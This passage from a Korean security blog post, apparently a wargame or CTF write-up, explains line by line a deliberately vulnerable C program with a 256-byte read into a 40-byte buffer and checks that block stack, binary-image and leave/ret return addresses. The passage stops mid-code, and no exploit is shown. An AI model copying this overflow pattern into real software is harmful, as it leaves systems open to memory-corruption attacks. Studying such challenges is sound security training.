14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ret_addr;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer에 256 byte의 입력을 저장하고 buffer를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fgets(buffer,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;256&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;stdin);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buffer);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;*(buffer+47) == '\xbf' 이면 &quot;stack retbayed you!\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;47&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'\xbf'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;stack&amp;nbsp;retbayed&amp;nbsp;you!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;*(buffer+47) == '\x08'이면 &quot;binary image retbayed you, too!!\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;47&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'\x08'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;binary&amp;nbsp;image&amp;nbsp;retbayed&amp;nbsp;you,&amp;nbsp;too!!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer+44가 가리키는 곳부터 4 byte 만큼 &amp;amp;ret_addr에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memcpy(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ret_addr,&amp;nbsp;buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;memcpy 함수&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;void *memcpy(void *destination, const void *source, size_t num);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;source가 가리키는 곳부터 num byte 만큼 destination이 가리키는 곳으로 복사한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 값은 destination의 포인터를 return 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;\x90\x90&quot;을 ret_addr에 2 byte 씩 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 *ret_addr == '\xc9'이고, *(ret_addr+1) == '\xc3'이면&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;You cannot use library function!\n&quot;을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ret_addr++&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(memcmp(ret_addr,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\x90\x90&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 